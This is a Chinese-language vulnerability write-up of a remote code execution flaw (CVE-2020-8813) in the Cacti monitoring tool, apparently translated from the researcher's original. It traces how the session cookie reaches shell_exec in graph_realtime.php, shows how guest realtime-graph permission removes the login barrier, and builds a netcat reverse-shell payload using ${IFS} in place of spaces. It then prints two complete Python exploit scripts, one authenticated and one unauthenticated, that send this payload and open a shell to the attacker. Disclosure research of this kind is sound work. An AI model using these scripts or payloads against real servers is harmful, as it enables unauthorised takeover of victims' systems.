
關于Cacti
Cacti是一套基于PHP,MySQL,SNMP及RRDTool開發的網絡流量監測圖形分析工具。Cacti通過 snmpget來擷取資料,使用 RRDtool繪畫圖形,而且你完全可以不需要了解RRDtool複雜的參數。它提供了非常強大的資料和使用者管理功能,可以指定每一個使用者能檢視樹狀結構、host以及任何一張圖,還可以與LDAP結合進行使用者驗證,同時也能自己增加模闆,功能非常強大完善。界面友好。軟體 Cacti 的發展是基于讓 RRDTool 使用者更友善使用該軟體,除了基本的 Snmp 流量跟系統資訊監控外,Cacti 也可外挂 Scripts 及加上 Templates 來作出各式各樣的監控圖。
cacti是用php語言實作的一個軟體,它的主要功能是用snmp服務擷取資料,然後用rrdtool儲存和更新資料,當使用者需要檢視資料的時候用rrdtool生成圖表呈現給使用者。是以,snmp和rrdtool是cacti的關鍵。Snmp關系着資料的收集,rrdtool關系着資料存儲和圖表的生成。
漏洞利用分析
我在分析Cacti主要代碼中的多個功能函數時,發現了這個漏洞。我需要結合多個漏洞利用因素才能實作代碼執行,當攻擊者嘗試向“Cacti”這個Cookie變量中注入惡意代碼時,便會觸發這個漏洞,而這個變量在與一些字元串合并之後将會被傳遞給shell_exec函數。但是當我嘗試修改這個cookie值時遇到了身份驗證的問題,而這個問題使我無法通路到目标頁面,但是我發現這個包含漏洞的頁面是能夠以“Guest”身份通路的,這樣就不需要進行身份驗證了,是以我修改了漏洞利用代碼,并使用“Guest”身份來通路頁面“graph_realtime.php”,然後發送惡意請求來在目标主機上實作代碼執行。
首先,我們需要向“user_admin.php”頁面發送一個請求來啟用“realtime_graph”的訪客權限,然後再向“graph_realtime.php”頁面發送惡意請求。
接下來,我使用了這個常用的RCE掃描腳本【RECScanner】來在Cacti中搜尋RCE漏洞。
運作腳本後,我在“graph_realtime.php”檔案中發現了一個非常有意思的東西:
graph_realtime.php
/* call poller */ $graph_rrd = read_config_option('realtime_cache_path') . '/user_' . session_id() . '_lgi_' . get_request_var('local_graph_id') . '.png'; $command = read_config_option('path_php_binary'); $args = sprintf('poller_realtime.php --graph=%s --interval=%d --poller_id=' . session_id(), get_request_var('local_graph_id'), $graph_data_array['ds_step']); shell_exec("$command $args"); /* construct the image name */ $graph_data_array['export_realtime'] = $graph_rrd; $graph_data_array['output_flag'] = RRDTOOL_OUTPUT_GRAPH_DATA; $null_param = array();
複制
我們可以看到上述代碼中的第4和第5行,我們收到了一些參數,還有一個名叫“get_request_var”的函數,該函數的作用如下:
html_utility.php
function get_request_var($name, $default = '') { global $_CACTI_REQUEST; $log_validation = read_config_option('log_validation'); if (isset($_CACTI_REQUEST[$name])) { return $_CACTI_REQUEST[$name]; } elseif (isset_request_var($name)) { if ($log_validation == 'on') { html_log_input_error($name); } set_request_var($name, $_REQUEST[$name]); return $_REQUEST[$name]; } else { return $default; } }
複制
我們可以看到,這個函數可以處理輸入資料并通過函數“set_request_var”來設定參數值,而這個函數的相關代碼如下:
html_utility.php
function set_request_var($variable, $value) { global $_CACTI_REQUEST; $_CACTI_REQUEST[$variable] = $value; $_REQUEST[$variable] = $value; $_POST[$variable] = $value; $_GET[$variable] = $value; }
複制
接下來,回到我們的“graph_realtime.php”頁面,我們可以控制下列輸入:
local_graph_id The value of $graph_data_array[‘ds_step’]
複制
但是,我們注意到“graph_realtime.php”檔案中的第4行,它使用了sprintf()函數來處理輸入,而第一個值“graph”的内容為“local_graph_id”,而這個值是我們可以控制的!又但是,一個名叫“get_filter_request_var”的函數會對這個值進行過濾,我們可以看到,它在“graph_realtime.php”中已經被過濾了:
html_utility.php
function get_filter_request_var($name, $filter = FILTER_VALIDATE_INT, $options = array()) { if (isset_request_var($name)) { if (isempty_request_var($name)) { set_request_var($name, get_nfilter_request_var($name)); return get_request_var($name); } elseif (get_nfilter_request_var($name) == 'undefined') { if (isset($options['default'])) { set_request_var($name, $options['default']); return $options['default']; } else { set_request_var($name, ''); return ''; } } else { if (get_nfilter_request_var($name) == '0') { $value = '0'; } elseif (get_nfilter_request_var($name) == 'undefined') { if (isset($options['default'])) { $value = $options['default']; } else { $value = ''; } } elseif (isempty_request_var($name)) { $value = ''; } elseif ($filter == FILTER_VALIDATE_IS_REGEX) { if (is_base64_encoded($_REQUEST[$name])) { $_REQUEST[$name] = utf8_decode(base64_decode($_REQUEST[$name])); } $valid = validate_is_regex($_REQUEST[$name]); if ($valid === true) { $value = $_REQUEST[$name]; } else { $value = false; $custom_error = $valid; } } elseif ($filter == FILTER_VALIDATE_IS_NUMERIC_ARRAY) { $valid = true; if (is_array($_REQUEST[$name])) { foreach($_REQUEST[$name] AS $number) { if (!is_numeric($number)) { $valid = false; break; } } } else { $valid = false; } if ($valid == true) { $value = $_REQUEST[$name]; } else { $value = false; } } elseif ($filter == FILTER_VALIDATE_IS_NUMERIC_LIST) { $valid = true; $values = preg_split('/,/', $_REQUEST[$name], NULL, PREG_SPLIT_NO_EMPTY); foreach($values AS $number) { if (!is_numeric($number)) { $valid = false; break; } } if ($valid == true) { $value = $_REQUEST[$name]; } else { $value = false; } } elseif (!cacti_sizeof($options)) { $value = filter_var($_REQUEST[$name], $filter); } else { $value = filter_var($_REQUEST[$name], $filter, $options); } } if ($value === false) { if ($filter == FILTER_VALIDATE_IS_REGEX) { $_SESSION['custom_error'] = __('The search term "%s" is not valid. Error is %s', html_escape(get_nfilter_request_var($name)), html_escape($custom_error)); set_request_var($name, ''); raise_message('custom_error'); } else { die_html_input_error($name, get_nfilter_request_var($name)); } } else { set_request_var($name, $value); return $value; } } else { if (isset($options['default'])) { set_request_var($name, $options['default']); return $options['default']; } else { return; } } }
複制
這個函數将會對輸入資料進行過濾,然後傳回一個“幹淨的”變量并傳遞給下一個函數。
對于第二個變量“$graph_data_array[‘ds_step’]”,它已經通過sprintf()進行處理了(%d),這也就意味着它會變成一個十進制值,是以我們無法用它來注入我們的惡意指令。
接下來,我們再看看下面這段代碼:
graph_realtime.php
/* call poller */ $graph_rrd = read_config_option('realtime_cache_path') . '/user_' . session_id() . '_lgi_' . get_request_var('local_graph_id') . '.png'; $command = read_config_option('path_php_binary'); $args = sprintf('poller_realtime.php --graph=%s --interval=%d --poller_id=' . session_id(), get_request_var('local_graph_id'), $graph_data_array['ds_step']); shell_exec("$command $args"); /* construct the image name */ $graph_data_array['export_realtime'] = $graph_rrd; $graph_data_array['output_flag'] = RRDTOOL_OUTPUT_GRAPH_DATA; $null_param = array();
複制
我們看到了另一個傳遞給shell_exec函數的變量,而這個變量的值就是session_id()函數傳回的值,這個函數可以傳回目前使用者會話的值,也就是說,我們可以用它來注入我們的指令。
等一下,如果我們修改了會話,那我們就無法通路目标頁面了,因為這個頁面要求使用者在經過了身份驗證之後才能通路。研究之後我又發現,如果我們啟用了一個名叫“Realtime Graphs”的特殊權限之後,我們就能夠以訪客身份通路這個頁面了:
接下來,我們嘗試在不開啟“Guest Realtime Graphs”權限的情況下通路該頁面:
正如我們所見,由于權限問題,我們現在無法通路這個頁面,現在我們重新開啟該權限,然後通路該頁面:
很好,接下來我們發送“graph_realtime.php”頁面請求,然後在代碼中添加一條“echo”語句來輸出傳遞給shell_exec函數的值:
如圖所示,我們将會話列印了出來,接下來我們嘗試向會話中注入自定義字元串:
非常好,我們成功實作了注入。
Payload開發
成功控制了會話值之後,我們需要用它來在目标系統中實作代碼執行,但由于它本質上還是一個會話值,是以我們無法使用一些特殊字元,是以我們需要開發一個“對會話友好的”Payload。
比如說,如果對字元串“Hi Payload”進行編碼,然後傳遞給應用程式,我們将會看到:
我們可以看到,應用程式設定了一個Cookie給我們,而不是我們所注入的那個,為了解決這個問題,我們需要使用一個自定義的Payload。
為了避免使用空格字元,我打算使用“${IFS}”這個Bash變量來代表一個空格。
當然了,我們還需要使用“;”來轉義指令:
;payload
複制
如果我們想使用netcat來擷取一個Shell,我們還需要建立下列Payload:
;nc${IFS}-e${IFS}/bin/bash${IFS}ip${IFS}port
複制
我們先對Payload進行編碼:
然後将其發送給應用程式:
很好,我們的Payload執行成功了,并拿到了一個Shell。
漏洞利用代碼
為了實作整個漏洞利用的自動化過程,我編寫了一個Python腳本來利用該漏洞:
#!/usr/bin/python3 # Exploit Title: Cacti v1.2.8 Remote Code Execution # Date: 03/02/2020 # Exploit Author: Askar (@mohammadaskar2) # CVE: CVE-2020-8813 # Vendor Homepage: https://cacti.net/ # Version: v1.2.8 # Tested on: CentOS 7.3 / PHP 7.1.33 import requests import sys import warnings from bs4 import BeautifulSoup from urllib.parse import quote warnings.filterwarnings("ignore", category=UserWarning, module='bs4') if len(sys.argv) != 6: print("[~] Usage : ./Cacti-exploit.py url username password ip port") exit() url = sys.argv[1] username = sys.argv[2] password = sys.argv[3] ip = sys.argv[4] port = sys.argv[5] def login(token): login_info = { "login_username": username, "login_password": password, "action": "login", "__csrf_magic": token } login_request = request.post(url+"/index.php", login_info) login_text = login_request.text if "Invalid User Name/Password Please Retype" in login_text: return False else: return True def enable_guest(token): request_info = { "id": "3", "section25": "on", "section7": "on", "tab": "realms", "save_component_realm_perms": 1, "action": "save", "__csrf_magic": token } enable_request = request.post(url+"/user_admin.php?header=false", request_info) if enable_request: return True else: return False def send_exploit(): payload = ";nc${IFS}-e${IFS}/bin/bash${IFS}%s${IFS}%s" % (ip, port) cookies = {'Cacti': quote(payload)} requests.get(url+"/graph_realtime.php?action=init", cookies=cookies) request = requests.session() print("[+]Retrieving login CSRF token") page = request.get(url+"/index.php") html_content = page.text soup = BeautifulSoup(html_content, "html5lib") token = soup.findAll('input')[0].get("value") if token: print("[+]Token Found : %s" % token) print("[+]Sending creds ..") login_status = login(token) if login_status: print("[+]Successfully LoggedIn") print("[+]Retrieving CSRF token ..") page = request.get(url+"/user_admin.php?action=user_edit&id=3&tab=realms") html_content = page.text soup = BeautifulSoup(html_content, "html5lib") token = soup.findAll('input')[1].get("value") if token: print("[+]Making some noise ..") guest_realtime = enable_guest(token) if guest_realtime: print("[+]Sending malicous request, check your nc ;)") send_exploit() else: print("[-]Error while activating the malicous account") else: print("[-] Unable to retrieve CSRF token from admin page!") exit() else: print("[-]Cannot Login!") else: print("[-] Unable to retrieve CSRF token!") exit()
複制
運作了漏洞利用代碼之後,我們将會看到:

再一次成功拿到了Shell!
未經身份認證的漏洞利用
如果Cacti啟用了“Guest Realtime Graphs”權限,那麼我們就可以在未經身份驗證的情況下利用該漏洞了。下面給出的是這種場景下的漏洞利用代碼:
#!/usr/bin/python3 # Exploit Title: Cacti v1.2.8 Unauthenticated Remote Code Execution # Date: 03/02/2020 # Exploit Author: Askar (@mohammadaskar2) # CVE: CVE-2020-8813 # Vendor Homepage: https://cacti.net/ # Version: v1.2.8 # Tested on: CentOS 7.3 / PHP 7.1.33 import requests import sys import warnings from bs4 import BeautifulSoup from urllib.parse import quote warnings.filterwarnings("ignore", category=UserWarning, module='bs4') if len(sys.argv) != 4: print("[~] Usage : ./Cacti-exploit.py url ip port") exit() url = sys.argv[1] ip = sys.argv[2] port = sys.argv[3] def send_exploit(url): payload = ";nc${IFS}-e${IFS}/bin/bash${IFS}%s${IFS}%s" % (ip, port) cookies = {'Cacti': quote(payload)} path = url+"/graph_realtime.php?action=init" req = requests.get(path) if req.status_code == 200 and "poller_realtime.php" in req.text: print("[+] File Found and Guest is enabled!") print("[+] Sending malicous request, check your nc ;)") requests.get(path, cookies=cookies) else: print("[+] Error while requesting the file!") send_exploit(url)
複制
我們可以看到,在這種場景下同樣能夠成功利用該漏洞。
漏洞披露
在發現該問題之後,我們便将完整的PoC上報給了Cacti的團隊,他們也在第一時間修複了該漏洞并釋出了漏洞更新檔,從Cacti v1.2.10開始将不再受此漏洞的影響。
* 參考來源:shells,FB小編Alpha_h4ck編譯,轉載請注明來自FreeBuf.COM